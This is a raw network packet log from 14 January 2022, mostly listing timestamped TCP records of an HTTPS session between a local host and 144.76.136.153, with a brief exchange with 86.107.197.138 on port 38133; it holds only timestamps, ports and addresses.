Jan 14, 2022 04:59:52.123233080 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.123486996 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123526096 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123572111 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.123591900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.123609066 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.123660088 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.123989105 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124027967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124083042 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.124097109 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124111891 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.124167919 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.124495029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124531984 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124583006 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.124598026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.124612093 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.124650955 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148350000 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148399115 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148524046 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148564100 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148587942 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148638964 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148771048 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148817062 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148857117 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148874998 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.148899078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.148921967 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149241924 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149280071 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149333954 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149352074 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149368048 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149403095 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149709940 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149744987 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149799109 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149812937 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.149828911 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.149868965 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.150278091 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150316000 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150367975 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.150382042 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150397062 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.150763035 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150799036 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150851011 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.150871038 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.150882959 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.150926113 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.151230097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151269913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151319981 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.151336908 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151349068 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.151390076 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.151726961 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151777983 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151833057 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.151845932 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.151859999 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.152194023 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152266026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152277946 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.152293921 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152352095 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.152390957 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.152642965 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152683973 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152738094 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.152755022 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.152766943 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153184891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153218031 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153279066 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153296947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153310061 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153412104 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153669119 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153707027 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153760910 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153774023 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.153799057 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.153846979 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.154222965 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.154261112 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.154318094 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.154329062 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.154345036 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.154386044 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.162344933 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.179656982 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.179709911 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.179795027 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.179846048 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.179872036 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180080891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180116892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180150032 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180169106 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180182934 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180197954 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180232048 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180540085 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180578947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180634022 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.180651903 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.180668116 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.181018114 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181052923 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181109905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.181123018 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181138992 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.181179047 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.181503057 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181541920 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181598902 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.181613922 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.181631088 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182035923 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182070971 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182130098 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182142973 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182157993 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182470083 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182477951 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182504892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182563066 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182565928 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182585955 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182595968 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.182641983 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182682037 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.182966948 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.183008909 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.183053970 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.183068037 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.183109045 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.183121920 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.183486938 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.183518887 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.183780909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.183796883 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184032917 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184082985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184135914 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.184151888 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184168100 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.184207916 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.184554100 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184591055 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184648037 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.184663057 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.184694052 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.184946060 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185017109 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185053110 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185112000 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185122967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185139894 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185465097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185482025 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185496092 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185518980 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185534954 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185561895 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185573101 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.185585022 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.185621023 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.188790083 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:52.193741083 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.218372107 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 04:59:52.218504906 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:52.218844891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.218894958 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.218972921 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219023943 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219046116 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219057083 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219099998 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219140053 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219155073 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219181061 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219219923 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219229937 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219252110 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219319105 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219322920 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219346046 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219356060 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219397068 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219402075 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219429970 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219443083 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219507933 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219532013 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219533920 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219552994 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219613075 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219625950 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219645977 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219655991 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219702959 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219703913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219736099 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219748974 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219805002 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219835997 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219845057 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219858885 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219913006 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219914913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219935894 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.219944954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219985008 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.219986916 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220007896 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220021009 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.220089912 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.220094919 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220134020 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220146894 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.220195055 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220216990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.220907927 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.243391037 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.243438959 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.243570089 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.243611097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.243643045 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.243671894 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244235992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244276047 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244343996 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244359970 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244379044 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244435072 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244853020 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244905949 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244930983 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244970083 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.244982004 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.244997978 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.245038033 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.245280027 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.245316029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.245369911 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.245383978 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.245409012 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.245450974 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.246593952 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.266680002 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.266716003 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.266875029 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.266916037 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.266938925 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267005920 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267160892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267198086 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267256021 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267270088 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267287970 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267549038 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267656088 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267698050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267745972 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267760038 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.267776966 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.267807961 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.268210888 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268248081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268297911 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.268313885 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268330097 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.268711090 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268748999 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268798113 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.268820047 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.268834114 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.268873930 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.269242048 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269278049 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269332886 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.269349098 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269365072 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.269712925 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269750118 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269808054 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.269825935 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.269839048 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.269900084 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270241976 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270279884 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270347118 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270360947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270375967 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270450115 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270735979 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270776033 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270834923 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270847082 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.270868063 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.270920992 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.271471024 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.271492958 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.271560907 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.271580935 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.271605968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.271661043 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.297411919 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.297462940 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.297548056 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.297580004 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.297595024 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.297641993 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.297933102 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.297971964 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.298027039 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.298039913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.298053980 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.298594952 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.298666954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.298703909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.298717976 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.298763990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.298794031 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.299171925 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299221992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299279928 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.299297094 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299309015 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.299710989 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299778938 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299802065 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.299815893 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.299863100 CET	49884	443	192.168.2.3	144.76.136.153
